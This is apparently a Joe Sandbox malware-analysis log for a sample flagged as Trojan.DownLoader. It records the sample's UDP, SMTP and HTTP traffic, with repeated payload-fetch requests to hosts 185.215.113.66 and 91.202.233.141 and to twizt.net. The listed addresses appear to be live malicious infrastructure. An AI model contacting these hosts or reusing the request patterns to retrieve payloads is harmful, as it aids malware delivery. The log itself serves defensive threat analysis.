Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 92.47.124.54:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 102.130.192.212:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 91.92.206.184:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 109.168.235.213:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 187.235.148.47:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 187.133.57.73:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 88.135.33.186:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 94.141.69.176:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 189.186.73.73:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.219.223.67:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 87.237.239.65:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 2.191.74.251:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 92.47.251.85:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 82.200.224.194:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 95.156.103.50:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 80.80.214.50:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 82.194.10.40:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 2.180.211.255:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 186.94.185.219:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 5.255.18.13:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 2.190.51.122:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 217.164.211.207:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 41.199.184.238:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 5.235.233.254:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 5.219.253.209:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.106.236.58:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 100.111.103.217:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.249.62.87:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 2.185.146.181:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 146.70.53.161:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 84.53.244.106:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 190.36.195.147:40500

Source: Joe Sandbox View

ASN Name: KAZTELECOM-ASKZ KAZTELECOM-ASKZ

Source: global traffic

TCP traffic: 192.168.2.8:49720 -> 67.195.228.94:25

Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ALLSTATA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66

Source: unknown	TCP traffic detected without corresponding DNS query: 37.151.73.50
Source: unknown	TCP traffic detected without corresponding DNS query: 37.151.73.50
Source: unknown	TCP traffic detected without corresponding DNS query: 37.151.73.50
Source: unknown	TCP traffic detected without corresponding DNS query: 37.151.73.50
Source: unknown	TCP traffic detected without corresponding DNS query: 37.151.73.50
Source: unknown	TCP traffic detected without corresponding DNS query: 93.117.37.145
Source: unknown	TCP traffic detected without corresponding DNS query: 93.117.37.145
Source: unknown	TCP traffic detected without corresponding DNS query: 93.117.37.145
Source: unknown	TCP traffic detected without corresponding DNS query: 93.117.37.145
Source: unknown	TCP traffic detected without corresponding DNS query: 93.117.37.145
Source: unknown	TCP traffic detected without corresponding DNS query: 212.154.184.158
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 212.154.184.158
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 212.154.184.158
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 212.154.184.158
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 212.154.184.158
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.177
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_00401C50 WSARecv,WSARecv,WSAGetLastError,Sleep,WSARecv,

0_2_00401C50

Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
